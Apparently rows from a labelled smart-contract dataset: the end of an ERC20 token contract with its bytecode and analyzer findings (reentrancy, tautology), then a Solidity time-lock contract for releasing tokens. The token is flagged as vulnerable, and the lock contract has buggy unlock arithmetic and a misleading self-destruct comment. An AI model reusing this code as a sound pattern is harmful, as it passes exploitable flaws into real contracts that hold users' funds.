function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055a578063dd62ed3e1461057a578063ea1644d5146105c0578063f2fde38b146105e057600080fd5b8063a2a957bb146104d5578063a9059cbb146104f5578063bfd7928414610515578063c3c8cd801461054557600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b557600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aee565b610600565b005b34801561020a57600080fd5b5060408051808201909152600b81526a436865656d73456c6f6e6160a81b60208201525b60405161023b9190611bb3565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611c08565b61069f565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50683635c9adc5dea000005b60405190815260200161023b565b3480156102de57600080fd5b506102646102ed366004611c34565b6106b6565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023b565b34801561033057600080fd5b50601554610294906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611c75565b61071f565b34801561037057600080fd5b506101fc61037f366004611ca2565b61076a565b34801561039057600080fd5b506101fc6107b2565b3480156103a557600080fd5b506102c46103b4366004611c75565b6107fd565b3480156103c557600080fd5b506101fc61081f565b3480156103da57600080fd5b506101fc6103e9366004611cbd565b610893565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611c75565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610294565b34801561045b57600080fd5b506101fc61046a366004611ca2565b6108d2565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b506040805180820190915260078152664348454c4f4e4160c81b602082015261022e565b3480156104c157600080fd5b506101fc6104d0366004611cbd565b61091a565b3480156104e157600080fd5b506101fc6104f0366004611cd6565b610949565b34801561050157600080fd5b50610264610510366004611c08565b610aff565b34801561052157600080fd5b50610264610530366004611c75565b60106020526000908152604090205460ff1681565b34801561055157600080fd5b506101fc610b0c565b34801561056657600080fd5b506101fc610575366004611d08565b610b60565b34801561058657600080fd5b506102c4610595366004611d8c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cc57600080fd5b506101fc6105db366004611cbd565b610c01565b3480156105ec57600080fd5b506101fc6105fb366004611c75565b610c30565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611dc5565b60405180910390fd5b60005b815181101561069b5760016010600084848151811061065757610657611dfa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611e26565b915050610636565b5050565b60006106ac338484610d1a565b5060015b92915050565b60006106c3848484610e3e565b610715843361071085604051806060016040528060288152602001611f40602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061137a565b610d1a565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161062a90611dc5565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161062a90611dc5565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e757506013546001600160a01b0316336001600160a01b0316145b6107f057600080fd5b476107fa816113b4565b50565b6001600160a01b0381166000908152600260205260408120546106b0906113ee565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161062a90611dc5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161062a90611dc5565b674563918244f400008111156107fa57601655565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161062a90611dc5565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109445760405162461bcd60e51b815260040161062a90611dc5565b601855565b6000546001600160a01b031633146109735760405162461bcd60e51b815260040161062a90611dc5565b60048411156109d25760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b606482015260840161062a565b6014821115610a2e5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b606482015260840161062a565b6004831115610a8e5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b606482015260840161062a565b6014811115610aeb5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b606482015260840161062a565b600893909355600a91909155600955600b55565b60006106ac338484610e3e565b6012546001600160a01b0316336001600160a01b03161480610b4157506013546001600160a01b0316336001600160a01b0316145b610b4a57600080fd5b6000610b55306107fd565b90506107fa81611472565b6000546001600160a01b03163314610b8a5760405162461bcd60e51b815260040161062a90611dc5565b60005b82811015610bfb578160056000868685818110610bac57610bac611dfa565b9050602002016020810190610bc19190611c75565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf381611e26565b915050610b8d565b50505050565b6000546001600160a01b03163314610c2b5760405162461bcd60e51b815260040161062a90611dc5565b601755565b6000546001600160a01b03163314610c5a5760405162461bcd60e51b815260040161062a90611dc5565b6001600160a01b038116610cbf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d7c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610ddd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a565b6001600160a01b038216610f045760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b60008111610f665760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b6000546001600160a01b03848116911614801590610f9257506000546001600160a01b03838116911614155b1561127357601554600160a01b900460ff1661102b576000546001600160a01b0384811691161461102b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062a565b60165481111561107d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062a565b6001600160a01b03831660009081526010602052604090205460ff161580156110bf57506001600160a01b03821660009081526010602052604090205460ff16155b6111175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062a565b6015546001600160a01b0383811691161461119c5760175481611139846107fd565b6111439190611e41565b1061119c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062a565b60006111a7306107fd565b6018546016549192508210159082106111c05760165491505b8080156111d75750601554600160a81b900460ff16155b80156111f157506015546001600160a01b03868116911614155b80156112065750601554600160b01b900460ff165b801561122b57506001600160a01b03851660009081526005602052604090205460ff16155b801561125057506001600160a01b03841660009081526005602052604090205460ff16155b156112705761125e82611472565b47801561126e5761126e476113b4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b557506001600160a01b03831660009081526005602052604090205460ff165b806112e757506015546001600160a01b038581169116148015906112e757506015546001600160a01b03848116911614155b156112f45750600061136e565b6015546001600160a01b03858116911614801561131f57506014546001600160a01b03848116911614155b1561133157600854600c55600954600d555b6015546001600160a01b03848116911614801561135c57506014546001600160a01b03858116911614155b1561136e57600a54600c55600b54600d555b610bfb848484846115fb565b6000818484111561139e5760405162461bcd60e51b815260040161062a9190611bb3565b5060006113ab8486611e59565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006006548211156114555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062a565b600061145f611629565b905061146b838261164c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114ba576114ba611dfa565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150e57600080fd5b505afa158015611522573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115469190611e70565b8160018151811061155957611559611dfa565b6001600160a01b03928316602091820292909201015260145461157f9130911684610d1a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b8908590600090869030904290600401611e8d565b600060405180830381600087803b1580156115d257600080fd5b505af11580156115e6573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806116085761160861168e565b6116138484846116bc565b80610bfb57610bfb600e54600c55600f54600d55565b60008060006116366117b3565b9092509050611645828261164c565b9250505090565b600061146b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f5565b600c5415801561169e5750600d54155b156116a557565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116ce87611823565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117009087611880565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172f90866118c2565b6001600160a01b03891660009081526002602052604090205561175181611921565b61175b848361196b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117a091815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117cf828261164c565b8210156117ec57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118165760405162461bcd60e51b815260040161062a9190611bb3565b5060006113ab8486611efe565b60008060008060008060008060006118408a600c54600d5461198f565b9250925092506000611850611629565b905060008060006118638e8787876119e4565b919e509c509a509598509396509194505050505091939550919395565b600061146b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061137a565b6000806118cf8385611e41565b90508381101561146b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b600061192b611629565b905060006119398383611a34565b3060009081526002602052604090205490915061195690826118c2565b30600090815260026020526040902055505050565b6006546119789083611880565b60065560075461198890826118c2565b6007555050565b60008080806119a960646119a38989611a34565b9061164c565b905060006119bc60646119a38a89611a34565b905060006119d4826119ce8b86611880565b90611880565b9992985090965090945050505050565b60008080806119f38886611a34565b90506000611a018887611a34565b90506000611a0f8888611a34565b90506000611a21826119ce8686611880565b939b939a50919850919650505050505050565b600082611a43575060006106b0565b6000611a4f8385611f20565b905082611a5c8583611efe565b1461146b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fa57600080fd5b8035611ae981611ac9565b919050565b60006020808385031215611b0157600080fd5b823567ffffffffffffffff80821115611b1957600080fd5b818501915085601f830112611b2d57600080fd5b813581811115611b3f57611b3f611ab3565b8060051b604051601f19603f83011681018181108582111715611b6457611b64611ab3565b604052918252848201925083810185019188831115611b8257600080fd5b938501935b82851015611ba757611b9885611ade565b84529385019392850192611b87565b98975050505050505050565b600060208083528351808285015260005b81811015611be057858101830151858201604001528201611bc4565b81811115611bf2576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1b57600080fd5b8235611c2681611ac9565b946020939093013593505050565b600080600060608486031215611c4957600080fd5b8335611c5481611ac9565b92506020840135611c6481611ac9565b929592945050506040919091013590565b600060208284031215611c8757600080fd5b813561146b81611ac9565b80358015158114611ae957600080fd5b600060208284031215611cb457600080fd5b61146b82611c92565b600060208284031215611ccf57600080fd5b5035919050565b60008060008060808587031215611cec57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1d57600080fd5b833567ffffffffffffffff80821115611d3557600080fd5b818601915086601f830112611d4957600080fd5b813581811115611d5857600080fd5b8760208260051b8501011115611d6d57600080fd5b602092830195509350611d839186019050611c92565b90509250925092565b60008060408385031215611d9f57600080fd5b8235611daa81611ac9565b91506020830135611dba81611ac9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3a57611e3a611e10565b5060010190565b60008219821115611e5457611e54611e10565b500190565b600082821015611e6b57611e6b611e10565b500390565b600060208284031215611e8257600080fd5b815161146b81611ac9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611edd5784516001600160a01b031683529383019391830191600101611eb8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3a57611f3a611e10565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207fcbafaebde2ff16c9638ef4a8fd0a9584ee9f46b0fbfbed0eb998a6112510a464736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 367 |
0xe4933edea8f93826b31fb582d88643b0591ebf77 | /*
___. .__ .__ __
\_ |__ __ __ ____ ____ _____ ____ ____ ___________ ___ _|__|_____ | | ____ ____ | | __
| __ \| | \_/ ___\/ ___\\__ \ / \_/ __ \_/ __ \_ __ \ \ \/ / \____ \ | | / _ \_/ ___\| |/ /
| \_\ \ | /\ \__\ \___ / __ \| | \ ___/\ ___/| | \/ \ /| | |_> > | |_( <_> ) \___| <
|___ /____/ \___ >___ >____ /___| /\___ >\___ >__| \_/ |__| __/ |____/\____/ \___ >__|_ \
\/ \/ \/ \/ \/ \/ \/ |__| \/ \/
**************************************************************************
MAKE SURE WHEN SENDING 0 -- TO THE CONTRACT AKA WITHDRAWING -- TO UP THE GAS
**************************************************************************
IF A FAILURE OCCURS, IT IS BECAUSE OF LOW GAS!!!
**************************************************************************
So, you're here to review code. Let's make it easy for you.
There are four unlock periods, hence four bools. And four bools for, if the recipient received them.
All that has to happen is a standard payable receivable function that is triggered when 0 eth is sent (any more than 0 is reverted).
Alternatively, if the VIP has access to the contract through etherscan, they can trigger the sendOut function for payment.
That receivable function triggers a simple internal function for updating the bools accordingly in a cascading list of if/else.
That internal function triggers the sendOut() function that actually sends out the token (paid for by the VIP aka gas).
The sendOut function is significantly cheaper to use than sending 0 in terms of gas.
If gas issues persist (erros), set gas rate to 800k.
*/
//TEST TO MAINNET CONVERSION
//CHANGE - V2 ADDRESS, LOCKS, BUMPS AND WITHDRAWL ADDRESS
pragma solidity ^0.4.24;
interface BuccV2 {
function transferFrom(address from, address to, uint256 value)
external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
}
/* All variables set ot private to prevent additional contracts from interacting with variables, they are set in stone */
contract BuccaneerVIPLOCK {
//Could use/would use a constructor but I didn't want to, all variables initialized at runtime
/* VARIABLES */
//BUCC contract
BuccV2 private buccInstance;
//address of tokens - change for testnet and mainnet
address private v2Address = address(0xd5a7d515fb8b3337acb9b053743e0bc18f50c855);
//Time Locks - change for testnet and mainnet
//84 days = 12 weeks / 28 days = one month
uint256 private initialLock = 84 days;
uint256 private timeBump = 28 days;
uint256 private timeofCreation = now;
//Withdrawer
address private userWithdrawlAddress = address(0x0aD7A09575e3eC4C109c4FaA3BE7cdafc5a4aDBa);
//Deposit Slip (as proof of deposit)
uint256 private depositSlip;
//Bools for withdrawl
bool private withdrawl1 = false;
bool private withdrawl2 = false;
bool private withdrawl3 = false;
bool private withdrawl4 = false;
//Was it sent?
bool private payment1 = false;
bool private payment2 = false;
bool private payment3 = false;
bool private payment4 = false;
/* FUNCTIONS */
//For showing number of tokens - there are ten decimals in the Bucc contract
function displayBalanceToShow() public view returns (uint256) {
return depositSlip / 10000000000;
}
//One way deposit function
function depositToLOCK(uint256 amountToDeposit) public returns (bool) {
buccInstance = BuccV2(v2Address);
depositSlip += amountToDeposit;
return buccInstance.transferFrom(msg.sender, address(this), amountToDeposit);
}
//return timestamp of contract creation
function returnTimeofCreation() public view returns (uint256) {
return timeofCreation;
}
//Just to observe the EVM's internal clock for testing purposes
function returnTimeNow() public view returns (uint256) {
return now;
}
//Lookup if payment was sent
function lookUpPaymentBool(uint256 lookupPayment) public view returns (bool) {
if (lookupPayment == 1) {
return payment1;
} else if (lookupPayment == 2) {
return payment2;
} else if (lookupPayment == 3) {
return payment3;
} else if (lookupPayment == 4) {
return payment4;
}
}
//Can the VIP withdraw?
function VIEWisUnlocked(uint256 lookupPayment) public view returns (bool) {
//to prevent infection of the time keeping variable
uint256 calculate = timeofCreation;
if ((lookupPayment == 1) && (now > (calculate += initialLock))) {
return true;
}
if ((lookupPayment == 2) && (now > (calculate += initialLock + timeBump))) {
return true;
}
if ((lookupPayment == 3) && (now > (calculate += initialLock + (timeBump * 2)))) {
return true;
}
if ((lookupPayment == 4) && (now > (calculate += initialLock + (timeBump * 3)))) {
return true;
}
//default
return false;
}
/* THREE STEPS, TRIGGER, UNLOCK, SENDOUT */
// 1.
//Trigger function for when the user sends in zero
function () payable external {
//To not allow the VIP to send money to this contract on accident
if (msg.value > 0) {
revert();
}
//
if (msg.sender == userWithdrawlAddress) {
//run the transfer out function
sendOut();
} else {
revert();
}
}
// 2.
//Internal bool adjustment function for changing based on the time expired locks
//Aka, if time expires past the lock, allow the unlock to happen in a rolling fashion, missed the first lock? You'll get both when you unlock.
//All conditions are separated to act as separate conditionals so that if a lock expires, it shouldn't require multiple txs
//However, one instance where a third lock was not sent out was encountered. It was patched but if such an issue persisits, simply resend
function isUnlocked() internal {
//to prevent infection of the time keeping variable
uint256 calculate = timeofCreation;
if (!withdrawl1 && (now > (calculate += initialLock))) {
withdrawl1 = true;
}
if (!withdrawl2 && (now > (calculate += initialLock + timeBump))) {
withdrawl2 = true;
}
if (!withdrawl3 && (now > (calculate += initialLock + (timeBump * 2)))) {
withdrawl3 = true;
}
if (!withdrawl4 && (now > (calculate += initialLock + (timeBump * 3)))) {
withdrawl4 = true;
}
}
// 3.
//When the lock expires, withdraw
//All conditions are separated to act as separate conditionals so that if a lock expires, it wouldn't require multiple txs
function sendOut() public returns (bool) {
//Update variables if need be
isUnlocked();
//doublecheck
require (userWithdrawlAddress == msg.sender);
//temp variable to enact sending
uint256 baseAmount = 1000000000000000;
uint256 toSendtoVIP = 0;
//time lock displayed here
//Ethereum gets very weird with if/else statements at least in the older versions, hence the brackets
if ((withdrawl1) && (!payment1)) {
toSendtoVIP += baseAmount;
payment1 = true;
}
if ((withdrawl2) && (!payment2)) {
toSendtoVIP += baseAmount;
payment2 = true;
}
if ((withdrawl3) && (!payment3)) {
toSendtoVIP += baseAmount;
payment3 = true;
}
if ((withdrawl4) && (!payment4)) {
toSendtoVIP += baseAmount;
payment4 = true;
}
//Now execute
buccInstance = BuccV2(v2Address);
depositSlip -= toSendtoVIP;
if (depositSlip == 0) {
buccInstance.transfer(userWithdrawlAddress, toSendtoVIP);
//will return gas to VIP for contract self destruct upon completion of all tokens being sent
selfdestruct(this);
return true;
} else {
return buccInstance.transfer(userWithdrawlAddress, toSendtoVIP);
}
}
}
/**(((&@@@@&@#/
(#@@@@@/ (@@@@@@@@@@@@@@@@@@@@@@@@@@@@.
.&@@#...........,(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(@@........(&&@@#(,.......@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##,,,#@@@
@@(.....@@@@@@@@@@@@@@@@@@%....,@@@@@@@@@@@@@@@@@@@@@@@@@@.,&@@@@@@@@,,@
*@@*....,&@@@@@@@@@@@@@@@@@@@@@@@%....&@@@@@@@@@@@@@@@@@@@@*../@@@@@@@@@@&.@
.@@%...,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,.../@@@@@@@@@@@@@@@@@..@@@@@@@@@@@@@&.#@
@@,....%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,...#@@@@@@@@@@@@@,..@@@@@@@@@@@@@@@/,%@
,@@(.....@@@@@@@@@@@@@(@@@/@@..@*@@@@@@@@@@@@@@@@/....@@@@@@@@@@@,..@@@@@@@@@@@@@@@@@@.@&
/@@@/....,@@@@@@@@@@@@@@@@#*@@&#(@...@@@@@@@@@@@@@@@@@@....(@@@@@@@@@..,@@@@@@@@@@@@@@@@@@@,*@@
/@@%.....,@@@@@@@@@@@@@@@@@@@@/@&@@((**@@@@@@@.@@@@@@@@@@@@@%....@@@@@@@@,.(@@@@@@@@@@@@@@@@@@@@@..,@@*
,@@#...../&@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@@..&@@@@@@@@@@@@@@@@,...@@@@@@@@,.@@@@@@@@@@@@@@@@@@@@@@@@,.*@@@#.
,@@%.....*@@@@@@@@@@@@@@@@@@@@@@@@@@@%%@@@@@@%@@@@@@,@@@@@@@@@@@@@@@@@@(..(@@@@@@@@,.@@@@@@@@@@@@@@@@@@@@@@@@@@@&/..,@@&*
.@@@..../%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%@%@@@@@@@@@@@@@@@@@@@@@@@,..@@@@@@@@@%.@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#...#@@,
@%...#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%..@@@@@@@@@@@.(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,..,@@
.@/..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..%@@@@@@@@@@@..(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,..&@.
@#./@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&..@@@@@@@@@@@@/.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,..(@*
&@,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..,@@@@@@@@@@@,..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&.,@
,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#..*@@@@@@@@@,..,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@
,*&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&...*%%&&%,...&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.
,@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*.....,#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
.*(((,,,,(@%%%%%%%%%@%%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%
@%%%%@@@@&%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&%%@
%@%%%%%%%%%%&@@@@@@@%#####&@######&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&%(@@@#
,@&%%%@################@&##@@%#####%%%#####%@@@@@@@@@@@@@@@@@@@@@@@@@@@@###%@@@@@@@&##@@@@@&
(@@&%%%%%@&#############%@#(@######%%%#(((((#(((((#((#&@@@@@@@@@@@@@@@@###@@#######%@@@@@@@@@
%@@%%%@@@@@%%@&#############%%(@@@&, @@@*@@@@@@@@@@ @&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
,@%%%@@####%@%%&@###############%%%%%%%&@& @@@@@@@@@ @@( *@##@#%@@@@@@@@@@@@@@@@@@@@@@@@@@,,@/
@&%%@@#######@&%%@%###########%%%%%###@@(##(@@@@&&@@@@#&@@@, *@##@@@@@@@@@@@@@@@@@@@@@@@@@@@@, @@
@@%%&@&########%@%%&@########%%%%%#####%&&%@&######&@@@@@@@@/ %@@@@%@@@@@@@@@@@@@@@@@@@@@@@@@@% (@@
%@%%%@@##########%@%%&@#######%%%#######@@@@@@%#@@&############%%%%######(@@&@@@@@@@@@@@@@@@@@@@@@@@@@% *@@(
#@%%%&@@###########%@%%&@#####%%%########@@@################%&&@@@@@@@@@@@%###%@@@@@@@@@@@@@@@@@@@@@@@@. @@@@
&@%%%%@@(###########@%%%&@###%%%####(#%&%##&@@@@@@@@@##################@&########&@@@@@@@@@@@@@@@@@@@##@@@@
,,@(###########@@@@@@##%%####################%@@@@@@###########(&@###################%@@%%%%%####@@@@@.
@%############################@@@@&&&##########@@@@@@@###@@@&##########%%%#############&#####&@@@@@#@#@.
%&##########################&@#&@&@@@@&###########&@@@@@@@@@@@@@@@@@@@@@@@@@@#####@@@@@@###@@@@@@@%#@&##@.
@(#############################@####&#####%@@@@&%#(#########%%%&@@@@@@@@@@@@%####%@@@@@@@@@@@@@@###@###@#
,@###############################@@####&@@&%##########%&@@@@&%#####################&@@@@@@%######%@%##@/
@###################################@@&#######&@@@####################%&&&&@@@@@@@@@@@@@@@@@@@&%####@@
.@(#######################################@@%###########%@@@&@@@@@@@%#############################@&##%@
(@@@############################################%@@&##########################%%&&&&%%%&@@@@&%%%#######%@
/@@@@@(##################################################@@&############################################%@
&*@@@@@#########################################################&@@@@@@@%############################%@@%#@
@*,/@@@#####################################################################(,.,/(########################@
@&@%,,,/@&%############################################################,,,,*,****//*,*, /@@@@@@&@@&%%@&###@%
@&&&@@//,,**,%@@@%##################################################(.,,/,*.,.... ..****.&,,/@&#######@(
.@&&&&&&&@@***,***,,**#@@@@@########################################,**,.,./,*,,...,/,.,,*@@((#,@######(%@@.
,@&&&&&&&&&&&@@@@&/,,,,,,,,**,*******%@@@@@@@@%###################,/*.(,,,**.**,..(,@@@@##@@#(@(@%##########@@.
*@&&&&&&&&&&&@@&&&@@&&&&&&&&&@@@@@&&&((**,,,*,,,*@&################,/,*,,**(.*(,*.*&####(@###%@/%@@@ @@(%@&#####%@.
%@&&&&&&&&&&@..&&@,#&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@#############,(.*,**(#,,,****(@%##%@@&,,@@( @@@%###########@.
@&&&&&&&&&&&&%@&&@@&&&&&&&&&&&&&&&@@@@@@@@@@@@@(@#&@@ .*@@##&######(.*,,..*.***#*,,./,/,,**&@@@//&@(################@,
#@&&&&&&&&&&&&#@#@%(@&&&&&&&&&&&&&&&@&@#@@&@@@@@@@@@@@@*..@&%@#####@@. *****#(////,****,.//@# @&%@@@&&@################@
@@&&&&&&&&&&@(@&@@@@#@&&&&&&&&&&&&&&&&@@@%@@@@@@@@@@@&@%@ .@#%%##@@ .&@# ,,**,/,**,**,.*%/%@ @###@@&@@/@@###############@,
@&&&&&&&&&&&@@&&&@@@@@&&&&&&&&&&&&&&&&&&@@&/@@@@@@@@@@#@%@ .@##%@. @%@&(@@&/..,///***(######@@%######(@,.,@@%###@@########@
@&&&&&&&&&&&&&&@@&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@(@.@.*@@..&( ,@*&@@&(@@@&&&&@############@@###%@###%@&(@@@(/(*@@&####@
@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@&/@@@@@@@(@@ %%.#@. @&@@@@@@*&#@@@% @(###############%@#####%@(###@@%*@######@
________ .__ __ .__ ___. __
\_____ \ ____ | | ___.__. _/ |_| |__ ____ \_ |__ ____ _______/ |_
/ | \ / \| |< | | \ __\ | \_/ __ \ | __ \_/ __ \ / ___/\ __\
/ | \ | \ |_\___ | | | | Y \ ___/ | \_\ \ ___/ \___ \ | |
\_______ /___| /____/ ____| |__| |___| /\___ > |___ /\___ >____ > |__|
